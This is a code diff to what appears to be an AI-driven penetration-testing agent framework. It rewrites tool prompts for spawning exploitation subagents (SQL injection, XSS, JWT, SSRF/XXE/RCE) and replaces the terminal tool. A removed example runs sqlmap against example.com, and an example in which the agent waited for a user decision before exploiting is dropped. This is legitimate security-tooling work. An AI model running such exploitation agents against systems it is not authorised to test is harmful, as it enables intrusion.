- Ensure efficient coordination across the multi-agent system
|
||||
|
||||
If you as a parent agent don't absolutely have anything to do while your subagents are running, you can use wait_for_message tool. The subagent will continue to run in the background, and update you when it's done.
|
||||
</details>
|
||||
<parameters>
|
||||
@@ -86,20 +80,13 @@ MANDATORY REQUIREMENT: You MUST call view_agent_graph FIRST before creating any
|
||||
<description>Whether the new agent should inherit parent's conversation history and context</description>
|
||||
</parameter>
|
||||
<parameter name="prompt_modules" type="string" required="false">
|
||||
<description>Comma-separated list of prompt modules to use for the agent. Most agents should have at least one module in order to be useful. {{DYNAMIC_MODULES_DESCRIPTION}}</description>
|
||||
<description>Comma-separated list of prompt modules to use for the agent (MAXIMUM 5 modules allowed). Most agents should have at least one module in order to be useful. Agents should be highly specialized - use 1-3 related modules; up to 5 for complex contexts. {{DYNAMIC_MODULES_DESCRIPTION}}</description>
|
||||
</parameter>
|
||||
</parameters>
|
||||
<returns type="Dict[str, Any]">
|
||||
<description>Response containing: - agent_id: Unique identifier for the created agent - success: Whether the agent was created successfully - message: Status message - agent_info: Details about the created agent</description>
|
||||
</returns>
|
||||
<examples>
|
||||
# REQUIRED: First check agent graph before creating any new agent
|
||||
<function=view_agent_graph>
|
||||
</function>
|
||||
# REQUIRED: Check agent graph again before creating another agent
|
||||
<function=view_agent_graph>
|
||||
</function>
|
||||
|
||||
# After confirming no SQL testing agent exists, create agent for vulnerability validation
|
||||
<function=create_agent>
|
||||
<parameter=task>Validate and exploit the suspected SQL injection vulnerability found in
|
||||
@@ -108,22 +95,42 @@ MANDATORY REQUIREMENT: You MUST call view_agent_graph FIRST before creating any
|
||||
<parameter=prompt_modules>sql_injection</parameter>
|
||||
</function>
|
||||
|
||||
# Create specialized authentication testing agent with multiple modules (comma-separated)
|
||||
<function=create_agent>
|
||||
<parameter=task>Test authentication mechanisms, JWT implementation, and session management
|
||||
for security vulnerabilities and bypass techniques.</parameter>
|
||||
<parameter=name>Auth Specialist</parameter>
|
||||
<parameter=prompt_modules>authentication_jwt, business_logic</parameter>
|
||||
</function>
|
||||
|
||||
# Example of single-module specialization (most focused)
|
||||
<function=create_agent>
|
||||
<parameter=task>Perform comprehensive XSS testing including reflected, stored, and DOM-based
|
||||
variants across all identified input points.</parameter>
|
||||
<parameter=name>XSS Specialist</parameter>
|
||||
<parameter=prompt_modules>xss</parameter>
|
||||
</function>
|
||||
|
||||
# Example of up to 5 related modules (borderline acceptable)
|
||||
<function=create_agent>
|
||||
<parameter=task>Test for server-side vulnerabilities including SSRF, XXE, and potential
|
||||
RCE vectors in file upload and XML processing endpoints.</parameter>
|
||||
<parameter=name>Server-Side Attack Specialist</parameter>
|
||||
<parameter=prompt_modules>ssrf, xxe, rce</parameter>
|
||||
</function>
|
||||
</examples>
|
||||
</tool>
|
||||
<tool name="send_message_to_agent">
|
||||
<description>Send a message to another agent in the graph for coordination and communication.</description>
|
||||
<details>This enables agents to communicate with each other during execution for:
|
||||
<details>This enables agents to communicate with each other during execution, but should be used only when essential:
|
||||
- Sharing discovered information or findings
|
||||
- Asking questions or requesting assistance
|
||||
- Providing instructions or coordination
|
||||
- Reporting status or results</details>
|
||||
- Reporting status or results
|
||||
|
||||
Best practices:
|
||||
- Avoid routine status updates; batch non-urgent information
|
||||
- Prefer parent/child completion flows (agent_finish)
|
||||
- Do not message when the context is already known</details>
|
||||
<parameters>
|
||||
<parameter name="target_agent_id" type="string" required="true">
|
||||
<description>ID of the agent to send the message to</description>
|
||||
@@ -176,25 +183,26 @@ MANDATORY REQUIREMENT: You MUST call view_agent_graph FIRST before creating any
|
||||
</returns>
|
||||
</tool>
|
||||
<tool name="wait_for_message">
|
||||
<description>Pause the agent loop indefinitely until receiving a message from another agent or user.
|
||||
<description>Pause the agent loop indefinitely until receiving a message from another agent.
|
||||
|
||||
This tool puts the agent into a waiting state where it remains idle until it receives any form of communication. The agent will automatically resume execution when a message arrives.
|
||||
|
||||
IMPORTANT: This tool causes the agent to stop all activity until a message is received. Use it when you need to:
|
||||
- Wait for subagent completion reports
|
||||
- Coordinate with other agents before proceeding
|
||||
- Pause for user input or decisions
|
||||
- Synchronize multi-agent workflows
|
||||
|
||||
NOTE: If you are waiting for an agent that is NOT your subagent, you first tell it to message you with updates before waiting for it. Otherwise, you will wait forever!
|
||||
</description>
|
||||
<details>When this tool is called, the agent enters a waiting state and will not continue execution until:
|
||||
- Another agent sends it a message via send_message_to_agent
|
||||
- A user sends it a direct message through the CLI
|
||||
- Any other form of inter-agent or user communication occurs
|
||||
<details>When this tool is called, the agent (you) enters a waiting state and will not continue execution until:
|
||||
- Another agent sends a message via send_message_to_agent
|
||||
- Any other form of inter-agent communication occurs
|
||||
- Waiting timeout is reached
|
||||
|
||||
The agent will automatically resume from where it left off once a message is received.
|
||||
This is particularly useful for parent agents waiting for subagent results or for coordination points in multi-agent workflows.</details>
|
||||
This is particularly useful for parent agents waiting for subagent results or for coordination points in multi-agent workflows.
|
||||
NOTE: If you finished your task, and you do NOT have any child agents running, you should NEVER use this tool, and just call finish tool instead.
|
||||
</details>
|
||||
<parameters>
|
||||
<parameter name="reason" type="string" required="false">
|
||||
<description>Explanation for why the agent is waiting (for logging and monitoring purposes)</description>
|
||||
@@ -209,11 +217,6 @@ NOTE: If you are waiting for an agent that is NOT your subagent, you first tell
|
||||
<parameter=reason>Waiting for subdomain enumeration and port scanning subagents to complete their tasks and report findings</parameter>
|
||||
</function>
|
||||
|
||||
# Wait for user input on next steps
|
||||
<function=wait_for_message>
|
||||
<parameter=reason>Waiting for user decision on whether to proceed with exploitation of discovered SQL injection vulnerability</parameter>
|
||||
</function>
|
||||
|
||||
# Coordinate with other agents
|
||||
<function=wait_for_message>
|
||||
<parameter=reason>Waiting for vulnerability assessment agent to share discovered attack vectors before proceeding with exploitation phase</parameter>
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
import contextlib
|
||||
import inspect
|
||||
import json
|
||||
import types
|
||||
from collections.abc import Callable
|
||||
from typing import Any, Union, get_args, get_origin
|
||||
|
||||
@@ -48,7 +49,7 @@ def convert_arguments(func: Callable[..., Any], kwargs: dict[str, Any]) -> dict[
|
||||
|
||||
def convert_string_to_type(value: str, param_type: Any) -> Any:
|
||||
origin = get_origin(param_type)
|
||||
if origin is Union or origin is type(str | None):
|
||||
if origin is Union or isinstance(param_type, types.UnionType):
|
||||
args = get_args(param_type)
|
||||
for arg_type in args:
|
||||
if arg_type is not type(None):
|
||||
|
||||
@@ -49,7 +49,10 @@ async def _execute_tool_in_sandbox(tool_name: str, agent_state: Any, **kwargs: A
|
||||
server_url = await runtime.get_sandbox_url(agent_state.sandbox_id, tool_server_port)
|
||||
request_url = f"{server_url}/execute"
|
||||
|
||||
agent_id = getattr(agent_state, "agent_id", "unknown")
|
||||
|
||||
request_data = {
|
||||
"agent_id": agent_id,
|
||||
"tool_name": tool_name,
|
||||
"kwargs": kwargs,
|
||||
}
|
||||
@@ -59,7 +62,7 @@ async def _execute_tool_in_sandbox(tool_name: str, agent_state: Any, **kwargs: A
|
||||
"Content-Type": "application/json",
|
||||
}
|
||||
|
||||
async with httpx.AsyncClient() as client:
|
||||
async with httpx.AsyncClient(trust_env=False) as client:
|
||||
try:
|
||||
response = await client.post(
|
||||
request_url, json=request_data, headers=headers, timeout=None
|
||||
@@ -237,7 +240,7 @@ async def _execute_single_tool(
|
||||
|
||||
def _get_tracer_and_agent_id(agent_state: Any | None) -> tuple[Any | None, str]:
|
||||
try:
|
||||
from strix.cli.tracer import get_global_tracer
|
||||
from strix.telemetry.tracer import get_global_tracer
|
||||
|
||||
tracer = get_global_tracer()
|
||||
agent_id = agent_state.agent_id if agent_state else "unknown_agent"
|
||||
|
||||
@@ -107,7 +107,7 @@ def _check_active_agents(agent_state: Any = None) -> dict[str, Any] | None:
|
||||
|
||||
def _finalize_with_tracer(content: str, success: bool) -> dict[str, Any]:
|
||||
try:
|
||||
from strix.cli.tracer import get_global_tracer
|
||||
from strix.telemetry.tracer import get_global_tracer
|
||||
|
||||
tracer = get_global_tracer()
|
||||
if tracer:
|
||||
|
||||
@@ -33,7 +33,7 @@ def _process_dynamic_content(content: str) -> str:
|
||||
logger.warning("Could not import prompts utilities for dynamic schema generation")
|
||||
content = content.replace(
|
||||
"{{DYNAMIC_MODULES_DESCRIPTION}}",
|
||||
"List of prompt modules to load for this agent (max 3). Module discovery failed.",
|
||||
"List of prompt modules to load for this agent (max 5). Module discovery failed.",
|
||||
)
|
||||
|
||||
return content
|
||||
|
||||
@@ -27,7 +27,7 @@ def create_vulnerability_report(
|
||||
return {"success": False, "message": validation_error}
|
||||
|
||||
try:
|
||||
from strix.cli.tracer import get_global_tracer
|
||||
from strix.telemetry.tracer import get_global_tracer
|
||||
|
||||
tracer = get_global_tracer()
|
||||
if tracer:
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
from .terminal_actions import terminal_action
|
||||
from .terminal_actions import terminal_execute
|
||||
|
||||
|
||||
__all__ = ["terminal_action"]
|
||||
__all__ = ["terminal_execute"]
|
||||
|
||||
@@ -1,53 +1,35 @@
|
||||
from typing import Any, Literal
|
||||
from typing import Any
|
||||
|
||||
from strix.tools.registry import register_tool
|
||||
|
||||
from .terminal_manager import get_terminal_manager
|
||||
|
||||
|
||||
TerminalAction = Literal["new_terminal", "send_input", "wait", "close"]
|
||||
|
||||
|
||||
@register_tool
|
||||
def terminal_action(
|
||||
action: TerminalAction,
|
||||
inputs: list[str] | None = None,
|
||||
time: float | None = None,
|
||||
def terminal_execute(
|
||||
command: str,
|
||||
is_input: bool = False,
|
||||
timeout: float | None = None,
|
||||
terminal_id: str | None = None,
|
||||
no_enter: bool = False,
|
||||
) -> dict[str, Any]:
|
||||
def _validate_inputs(action_name: str, inputs: list[str] | None) -> None:
|
||||
if not inputs:
|
||||
raise ValueError(f"inputs parameter is required for {action_name} action")
|
||||
|
||||
def _validate_time(time_param: float | None) -> None:
|
||||
if time_param is None:
|
||||
raise ValueError("time parameter is required for wait action")
|
||||
|
||||
def _validate_action(action_name: str) -> None:
|
||||
raise ValueError(f"Unknown action: {action_name}")
|
||||
|
||||
manager = get_terminal_manager()
|
||||
|
||||
try:
|
||||
match action:
|
||||
case "new_terminal":
|
||||
return manager.create_terminal(terminal_id, inputs)
|
||||
|
||||
case "send_input":
|
||||
_validate_inputs(action, inputs)
|
||||
assert inputs is not None
|
||||
return manager.send_input(terminal_id, inputs)
|
||||
|
||||
case "wait":
|
||||
_validate_time(time)
|
||||
assert time is not None
|
||||
return manager.wait_terminal(terminal_id, time)
|
||||
|
||||
case "close":
|
||||
return manager.close_terminal(terminal_id)
|
||||
|
||||
case _:
|
||||
_validate_action(action) # type: ignore[unreachable]
|
||||
|
||||
return manager.execute_command(
|
||||
command=command,
|
||||
is_input=is_input,
|
||||
timeout=timeout,
|
||||
terminal_id=terminal_id,
|
||||
no_enter=no_enter,
|
||||
)
|
||||
except (ValueError, RuntimeError) as e:
|
||||
return {"error": str(e), "terminal_id": terminal_id, "snapshot": "", "is_running": False}
|
||||
return {
|
||||
"error": str(e),
|
||||
"command": command,
|
||||
"terminal_id": terminal_id or "default",
|
||||
"content": "",
|
||||
"status": "error",
|
||||
"exit_code": None,
|
||||
"working_dir": None,
|
||||
}
|
||||
|
||||
@@ -1,113 +1,145 @@
|
||||
<tools>
|
||||
<tool name="terminal_action">
|
||||
<description>Perform terminal actions using a terminal emulator instance. Each terminal instance
|
||||
is PERSISTENT and remains active until explicitly closed, allowing for multi-step
|
||||
workflows and long-running processes.</description>
|
||||
<tool name="terminal_execute">
|
||||
<description>Execute a bash command in a persistent terminal session. The terminal maintains state (environment variables, current directory, running processes) between commands.</description>
|
||||
<parameters>
|
||||
<parameter name="action" type="string" required="true">
|
||||
<description>The terminal action to perform: - new_terminal: Create a new terminal instance. This MUST be the first action for each terminal tab. - send_input: Send keyboard input to the specified terminal. - wait: Pause execution for specified number of seconds. Can be also used to get the current terminal state (screenshot, output, etc.) after using other tools. - close: Close the specified terminal instance. This MUST be the final action for each terminal tab.</description>
|
||||
<parameter name="command" type="string" required="true">
|
||||
<description>The bash command to execute. Can be empty to check output of running commands (will wait for timeout period to collect output).
|
||||
|
||||
Supported special keys and sequences (based on official tmux key names):
|
||||
- Control sequences: C-c, C-d, C-z, C-a, C-e, C-k, C-l, C-u, C-w, etc. (also ^c, ^d, etc.)
|
||||
- Navigation keys: Up, Down, Left, Right, Home, End
|
||||
- Page keys: PageUp, PageDown, PgUp, PgDn, PPage, NPage
|
||||
- Function keys: F1, F2, F3, F4, F5, F6, F7, F8, F9, F10, F11, F12
|
||||
- Special keys: Enter, Escape, Space, Tab, BTab, BSpace, DC, IC
|
||||
- Note: Use official tmux names (BSpace not Backspace, DC not Delete, IC not Insert, Escape not Esc)
|
||||
- Meta/Alt sequences: M-key (e.g., M-f, M-b) - tmux official modifier
|
||||
- Shift sequences: S-key (e.g., S-F6, S-Tab, S-Left)
|
||||
- Combined modifiers: C-S-key, C-M-key, S-M-key, etc.
|
||||
|
||||
Special keys work automatically - no need to set is_input=true for keys like C-c, C-d, etc.
|
||||
These are useful for interacting with vim, emacs, REPLs, and other interactive applications.</description>
|
||||
</parameter>
|
||||
<parameter name="inputs" type="string" required="false">
|
||||
<description>Required for 'new_terminal' and 'send_input' actions: - List of inputs to send to terminal. Each element in the list MUST be one of the following: - Regular text: "hello", "world", etc. - Literal text (not interpreted as special keys): prefix with "literal:" e.g., "literal:Home", "literal:Escape", "literal:Enter" to send these as text - Enter - Space - Backspace - Escape: "Escape", "^[", "C-[" - Tab: "Tab" - Arrow keys: "Left", "Right", "Up", "Down" - Navigation: "Home", "End", "PageUp", "PageDown" - Function keys: "F1" through "F12" Modifier keys supported with prefixes: - ^ or C- : Control (e.g., "^c", "C-c") - S- : Shift (e.g., "S-F6") - A- : Alt (e.g., "A-Home") - Combined modifiers for arrows: "S-A-Up", "C-S-Left" - Inputs MUST in all cases be sent as a LIST of strings, even if you are only sending one input. - Sending Inputs as a single string will NOT work.</description>
|
||||
<parameter name="is_input" type="boolean" required="false">
|
||||
<description>If true, the command is sent as input to a currently running process. If false (default), the command is executed as a new bash command.
|
||||
Note: Special keys (C-c, C-d, etc.) automatically work when a process is running - you don't need to set is_input=true for them.
|
||||
Use is_input=true for regular text input to running processes.</description>
|
||||
</parameter>
|
||||
<parameter name="time" type="string" required="false">
|
||||
<description>Required for 'wait' action. Number of seconds to pause execution. Can be fractional (e.g., 0.5 for half a second).</description>
|
||||
<parameter name="timeout" type="number" required="false">
|
||||
<description>Optional timeout in seconds for command execution. CAPPED AT 60 SECONDS. If not provided, uses default wait (30s). On timeout, the command keeps running and the tool returns with status 'running'. For truly long-running tasks, prefer backgrounding with '&'.</description>
|
||||
</parameter>
|
||||
<parameter name="terminal_id" type="string" required="false">
|
||||
<description>Identifier for the terminal instance. Required for all actions except the first 'new_terminal' action. Allows managing multiple concurrent terminal tabs. - For 'new_terminal': if not provided, a default terminal is created. If provided, creates a new terminal with that ID. - For other actions: specifies which terminal instance to operate on. - Default terminal ID is "default" if not specified.</description>
|
||||
<description>Identifier for the terminal session. Defaults to "default". Use different IDs to manage multiple concurrent terminal sessions.</description>
|
||||
</parameter>
|
||||
<parameter name="no_enter" type="boolean" required="false">
|
||||
<description>If true, don't automatically add Enter/newline after the command. Useful for:
|
||||
- Interactive prompts where you want to send keys without submitting
|
||||
- Navigation keys in full-screen applications
|
||||
|
||||
Examples:
|
||||
- terminal_execute("gg", is_input=true, no_enter=true) # Vim: go to top
|
||||
- terminal_execute("5j", is_input=true, no_enter=true) # Vim: move down 5 lines
|
||||
- terminal_execute("i", is_input=true, no_enter=true) # Vim: insert mode</description>
|
||||
</parameter>
|
||||
</parameters>
|
||||
<returns type="Dict[str, Any]">
|
||||
<description>Response containing: - snapshot: raw representation of current terminal state where you can see the output of the command - terminal_id: the ID of the terminal instance that was operated on</description>
|
||||
<description>Response containing:
|
||||
- content: Command output
|
||||
- exit_code: Exit code of the command (only for completed commands)
|
||||
- command: The executed command
|
||||
- terminal_id: The terminal session ID
|
||||
- status: Command status ('completed' or 'running')
|
||||
- working_dir: Current working directory after command execution</description>
|
||||
</returns>
|
||||
<notes>
|
||||
Important usage rules:
|
||||
1. PERSISTENCE: Terminal instances remain active and maintain their state (environment
|
||||
variables, current directory, running processes) until explicitly closed with the
|
||||
'close' action. This allows for multi-step workflows across multiple tool calls.
|
||||
2. MULTIPLE TERMINALS: You can run multiple terminal instances concurrently by using
|
||||
different terminal_id values. Each terminal operates independently.
|
||||
3. Terminal interaction MUST begin with 'new_terminal' action for each terminal instance.
|
||||
4. Only one action can be performed per call.
|
||||
5. Input handling:
|
||||
- Regular text is sent as-is
|
||||
- Literal text: prefix with "literal:" to send special key names as literal text
|
||||
- Special keys must match supported key names
|
||||
- Modifier combinations follow specific syntax
|
||||
- Control can be specified as ^ or C- prefix
|
||||
- Shift (S-) works with special keys only
|
||||
- Alt (A-) works with any character/key
|
||||
6. Wait action:
|
||||
- Time is specified in seconds
|
||||
- Can be used to wait for command completion
|
||||
- Can be fractional (e.g., 0.5 seconds)
|
||||
- Snapshot and output are captured after the wait
|
||||
- You should estimate the time it will take to run the command and set the wait time accordingly.
|
||||
- It can be from a few seconds to a few minutes, choose wisely depending on the command you are running and the task.
|
||||
7. The terminal can operate concurrently with other tools. You may invoke
|
||||
browser, proxy, or other tools (in separate assistant messages) while maintaining
|
||||
active terminal sessions.
|
||||
8. You do not need to close terminals after you are done, but you can if you want to
|
||||
free up resources.
|
||||
9. You MUST end the inputs list with an "Enter" if you want to run the command, as
|
||||
it is not sent automatically.
|
||||
10. AUTOMATIC SPACING BEHAVIOR:
|
||||
- Consecutive regular text inputs have spaces automatically added between them
|
||||
- This is helpful for shell commands: ["ls", "-la"] becomes "ls -la"
|
||||
- This causes problems for compound commands: [":", "w", "q"] becomes ": w q"
|
||||
- Use "literal:" prefix to bypass spacing: [":", "literal:wq"] becomes ":wq"
|
||||
- Special keys (Enter, Space, etc.) and literal strings never trigger spacing
|
||||
11. WHEN TO USE LITERAL PREFIX:
|
||||
- Vim commands: [":", "literal:wq", "Enter"] instead of [":", "w", "q", "Enter"]
|
||||
- Any sequence where exact character positioning matters
|
||||
- When you need multiple characters sent as a single unit
|
||||
12. Do NOT use terminal actions for file editing or writing. Use the replace_in_file,
|
||||
write_to_file, or read_file tools instead.
|
||||
1. PERSISTENT SESSION: The terminal maintains state between commands. Environment variables,
|
||||
current directory, and running processes persist across multiple tool calls.
|
||||
|
||||
2. COMMAND EXECUTION:
|
||||
- AVOID: Long pipelines, complex bash scripts, or convoluted one-liners
|
||||
- Break complex operations into multiple simple tool calls for clarity and debugging
|
||||
- For multiple commands, prefer separate tool calls over chaining with && or ;
|
||||
|
||||
3. LONG-RUNNING COMMANDS:
|
||||
- Commands never get killed automatically - they keep running in background
|
||||
- Set timeout to control how long to wait for output before returning
|
||||
- For daemons/servers or very long jobs, append '&' to run in background
|
||||
- Use empty command "" to check progress (waits for timeout period to collect output)
|
||||
- Use C-c, C-d, C-z to interrupt processes (works automatically, no is_input needed)
|
||||
|
||||
4. TIMEOUT HANDLING:
|
||||
- Timeout controls how long to wait before returning current output (max 60s cap)
|
||||
- Commands are NEVER killed on timeout - they keep running
|
||||
- After timeout, you can run new commands or check progress with empty command
|
||||
- On timeout, status is 'running'; on completion, status is 'completed'
|
||||
|
||||
5. MULTIPLE TERMINALS: Use different terminal_id values to run multiple concurrent sessions.
|
||||
|
||||
6. INTERACTIVE PROCESSES:
|
||||
- Special keys (C-c, C-d, etc.) work automatically when a process is running
|
||||
- Use is_input=true for regular text input to running processes like:
|
||||
* Interactive shells, REPLs, or prompts
|
||||
* Long-running applications waiting for input
|
||||
* Background processes that need interaction
|
||||
- Use no_enter=true for stuff like Vim navigation, password typing, or multi-step commands
|
||||
|
||||
7. WORKING DIRECTORY: The terminal tracks and returns the current working directory.
|
||||
Use absolute paths or cd commands to change directories as needed.
|
||||
|
||||
8. OUTPUT HANDLING: Large outputs are automatically truncated. The tool provides
|
||||
the most relevant parts of the output for analysis.
|
||||
</notes>
|
||||
<examples>
|
||||
# Create new terminal with Node.js (default terminal)
|
||||
<function=terminal_action>
|
||||
<parameter=action>new_terminal</parameter>
|
||||
<parameter=inputs>["node", "Enter"]</parameter>
|
||||
# Execute a simple command
|
||||
<function=terminal_execute>
|
||||
<parameter=command>ls -la</parameter>
|
||||
</function>
|
||||
|
||||
# Create a second (parallel) terminal instance for Python
|
||||
<function=terminal_action>
|
||||
<parameter=action>new_terminal</parameter>
|
||||
<parameter=terminal_id>python_terminal</parameter>
|
||||
<parameter=inputs>["python3", "Enter"]</parameter>
|
||||
# Run a command with custom timeout
|
||||
<function=terminal_execute>
|
||||
<parameter=command>npm install</parameter>
|
||||
<parameter=timeout>60</parameter>
|
||||
</function>
|
||||
|
||||
# Send command to the default terminal
|
||||
<function=terminal_action>
|
||||
<parameter=action>send_input</parameter>
|
||||
<parameter=inputs>["require('crypto').randomBytes(1000000).toString('hex')",
|
||||
"Enter"]</parameter>
|
||||
# Check progress of running command (waits for timeout to collect output)
|
||||
<function=terminal_execute>
|
||||
<parameter=command></parameter>
|
||||
<parameter=timeout>5</parameter>
|
||||
</function>
|
||||
|
||||
# Wait for previous action on default terminal
|
||||
<function=terminal_action>
|
||||
<parameter=action>wait</parameter>
|
||||
<parameter=time>2.0</parameter>
|
||||
# Start a background service
|
||||
<function=terminal_execute>
|
||||
<parameter=command>python app.py > server.log 2>&1 &</parameter>
|
||||
</function>
|
||||
|
||||
# Send multiple inputs with special keys to current terminal
|
||||
<function=terminal_action>
|
||||
<parameter=action>send_input</parameter>
|
||||
<parameter=inputs>["sqlmap -u 'http://example.com/page.php?id=1' --batch", "Enter", "y",
|
||||
"Enter", "n", "Enter", "n", "Enter"]</parameter>
|
||||
# Interact with a running process
|
||||
<function=terminal_execute>
|
||||
<parameter=command>y</parameter>
|
||||
<parameter=is_input>true</parameter>
|
||||
</function>
|
||||
|
||||
# WRONG: Vim command with automatic spacing (becomes ": w q")
|
||||
<function=terminal_action>
|
||||
<parameter=action>send_input</parameter>
|
||||
<parameter=inputs>[":", "w", "q", "Enter"]</parameter>
|
||||
# Interrupt a running process (special keys work automatically)
|
||||
<function=terminal_execute>
|
||||
<parameter=command>C-c</parameter>
|
||||
</function>
|
||||
|
||||
# CORRECT: Vim command using literal prefix (becomes ":wq")
|
||||
<function=terminal_action>
|
||||
<parameter=action>send_input</parameter>
|
||||
<parameter=inputs>[":", "literal:wq", "Enter"]</parameter>
|
||||
# Send Escape key (use official tmux name)
|
||||
<function=terminal_execute>
|
||||
<parameter=command>Escape</parameter>
|
||||
<parameter=is_input>true</parameter>
|
||||
</function>
|
||||
|
||||
# Use a different terminal session
|
||||
<function=terminal_execute>
|
||||
<parameter=command>python3</parameter>
|
||||
<parameter=terminal_id>python_session</parameter>
|
||||
</function>
|
||||
|
||||
# Send input to Python REPL in specific session
|
||||
<function=terminal_execute>
|
||||
<parameter=command>print("Hello World")</parameter>
|
||||
<parameter=is_input>true</parameter>
|
||||
<parameter=terminal_id>python_session</parameter>
|
||||
</function>
|
||||
</examples>
|
||||
</tool>
|
||||
|
||||
@@ -1,231 +0,0 @@
|
||||
import contextlib
|
||||
import os
|
||||
import pty
|
||||
import select
|
||||
import signal
|
||||
import subprocess
|
||||
import threading
|
||||
import time
|
||||
from typing import Any
|
||||
|
||||
import pyte
|
||||
|
||||
|
||||
MAX_TERMINAL_SNAPSHOT_LENGTH = 10_000
|
||||
|
||||
|
||||
class TerminalInstance:
|
||||
def __init__(self, terminal_id: str, initial_command: str | None = None) -> None:
|
||||
self.terminal_id = terminal_id
|
||||
self.process: subprocess.Popen[bytes] | None = None
|
||||
self.master_fd: int | None = None
|
||||
self.is_running = False
|
||||
self._output_lock = threading.Lock()
|
||||
self._reader_thread: threading.Thread | None = None
|
||||
|
||||
self.screen = pyte.HistoryScreen(80, 24, history=1000)
|
||||
self.stream = pyte.ByteStream()
|
||||
self.stream.attach(self.screen)
|
||||
|
||||
self._start_terminal(initial_command)
|
||||
|
||||
def _start_terminal(self, initial_command: str | None = None) -> None:
|
||||
try:
|
||||
self.master_fd, slave_fd = pty.openpty()
|
||||
|
||||
shell = "/bin/bash"
|
||||
|
||||
self.process = subprocess.Popen( # noqa: S603
|
||||
[shell, "-i"],
|
||||
stdin=slave_fd,
|
||||
stdout=slave_fd,
|
||||
stderr=slave_fd,
|
||||
cwd="/workspace",
|
||||
preexec_fn=os.setsid, # noqa: PLW1509 - Required for PTY functionality
|
||||
)
|
||||
|
||||
os.close(slave_fd)
|
||||
|
||||
self.is_running = True
|
||||
|
||||
self._reader_thread = threading.Thread(target=self._read_output, daemon=True)
|
||||
self._reader_thread.start()
|
||||
|
||||
time.sleep(0.5)
|
||||
|
||||
if initial_command:
|
||||
self._write_to_terminal(initial_command)
|
||||
|
||||
except (OSError, ValueError) as e:
|
||||
raise RuntimeError(f"Failed to start terminal: {e}") from e
|
||||
|
||||
def _read_output(self) -> None:
|
||||
while self.is_running and self.master_fd:
|
||||
try:
|
||||
ready, _, _ = select.select([self.master_fd], [], [], 0.1)
|
||||
if ready:
|
||||
data = os.read(self.master_fd, 4096)
|
||||
if data:
|
||||
with self._output_lock, contextlib.suppress(TypeError):
|
||||
self.stream.feed(data)
|
||||
else:
|
||||
break
|
||||
except (OSError, ValueError):
|
||||
break
|
||||
|
||||
def _write_to_terminal(self, data: str) -> None:
|
||||
if self.master_fd and self.is_running:
|
||||
try:
|
||||
os.write(self.master_fd, data.encode("utf-8"))
|
||||
except (OSError, ValueError) as e:
|
||||
raise RuntimeError("Terminal is no longer available") from e
|
||||
|
||||
def send_input(self, inputs: list[str]) -> None:
|
||||
if not self.is_running:
|
||||
raise RuntimeError("Terminal is not running")
|
||||
|
||||
for i, input_item in enumerate(inputs):
|
||||
if input_item.startswith("literal:"):
|
||||
literal_text = input_item[8:]
|
||||
self._write_to_terminal(literal_text)
|
||||
else:
|
||||
key_sequence = self._get_key_sequence(input_item)
|
||||
if key_sequence:
|
||||
self._write_to_terminal(key_sequence)
|
||||
else:
|
||||
self._write_to_terminal(input_item)
|
||||
|
||||
time.sleep(0.05)
|
||||
|
||||
if (
|
||||
i < len(inputs) - 1
|
||||
and not input_item.startswith("literal:")
|
||||
and not self._is_special_key(input_item)
|
||||
and not inputs[i + 1].startswith("literal:")
|
||||
and not self._is_special_key(inputs[i + 1])
|
||||
):
|
||||
self._write_to_terminal(" ")
|
||||
|
||||
def get_snapshot(self) -> dict[str, Any]:
|
||||
with self._output_lock:
|
||||
history_lines = [
|
||||
"".join(char.data for char in line_dict.values())
|
||||
for line_dict in self.screen.history.top
|
||||
]
|
||||
|
||||
current_lines = self.screen.display
|
||||
|
||||
all_lines = history_lines + current_lines
|
||||
rendered_output = "\n".join(all_lines)
|
||||
|
||||
if len(rendered_output) > MAX_TERMINAL_SNAPSHOT_LENGTH:
|
||||
rendered_output = rendered_output[-MAX_TERMINAL_SNAPSHOT_LENGTH:]
|
||||
truncated = True
|
||||
else:
|
||||
truncated = False
|
||||
|
||||
return {
|
||||
"terminal_id": self.terminal_id,
|
||||
"snapshot": rendered_output,
|
||||
"is_running": self.is_running,
|
||||
"process_id": self.process.pid if self.process else None,
|
||||
"truncated": truncated,
|
||||
}
|
||||
|
||||
def wait(self, duration: float) -> dict[str, Any]:
|
||||
time.sleep(duration)
|
||||
return self.get_snapshot()
|
||||
|
||||
def close(self) -> None:
|
||||
self.is_running = False
|
||||
|
||||
if self.process:
|
||||
with contextlib.suppress(OSError, ProcessLookupError):
|
||||
os.killpg(os.getpgid(self.process.pid), signal.SIGTERM)
|
||||
|
||||
try:
|
||||
self.process.wait(timeout=2)
|
||||
except subprocess.TimeoutExpired:
|
||||
os.killpg(os.getpgid(self.process.pid), signal.SIGKILL)
|
||||
self.process.wait()
|
||||
|
||||
if self.master_fd:
|
||||
with contextlib.suppress(OSError):
|
||||
os.close(self.master_fd)
|
||||
self.master_fd = None
|
||||
|
||||
if self._reader_thread and self._reader_thread.is_alive():
|
||||
self._reader_thread.join(timeout=1)
|
||||
|
||||
def _is_special_key(self, key: str) -> bool:
|
||||
special_keys = {
|
||||
"Enter",
|
||||
"Space",
|
||||
"Backspace",
|
||||
"Tab",
|
||||
"Escape",
|
||||
"Up",
|
||||
"Down",
|
||||
"Left",
|
||||
"Right",
|
||||
"Home",
|
||||
"End",
|
||||
"PageUp",
|
||||
"PageDown",
|
||||
"Insert",
|
||||
"Delete",
|
||||
} | {f"F{i}" for i in range(1, 13)}
|
||||
|
||||
if key in special_keys:
|
||||
return True
|
||||
|
||||
return bool(key.startswith(("^", "C-", "S-", "A-")))
|
||||
|
||||
def _get_key_sequence(self, key: str) -> str | None:
|
||||
key_map = {
|
||||
"Enter": "\r",
|
||||
"Space": " ",
|
||||
"Backspace": "\x08",
|
||||
"Tab": "\t",
|
||||
"Escape": "\x1b",
|
||||
"Up": "\x1b[A",
|
||||
"Down": "\x1b[B",
|
||||
"Right": "\x1b[C",
|
||||
"Left": "\x1b[D",
|
||||
"Home": "\x1b[H",
|
||||
"End": "\x1b[F",
|
||||
"PageUp": "\x1b[5~",
|
||||
"PageDown": "\x1b[6~",
|
||||
"Insert": "\x1b[2~",
|
||||
"Delete": "\x1b[3~",
|
||||
"F1": "\x1b[11~",
|
||||
"F2": "\x1b[12~",
|
||||
"F3": "\x1b[13~",
|
||||
"F4": "\x1b[14~",
|
||||
"F5": "\x1b[15~",
|
||||
"F6": "\x1b[17~",
|
||||
"F7": "\x1b[18~",
|
||||
"F8": "\x1b[19~",
|
||||
"F9": "\x1b[20~",
|
||||
"F10": "\x1b[21~",
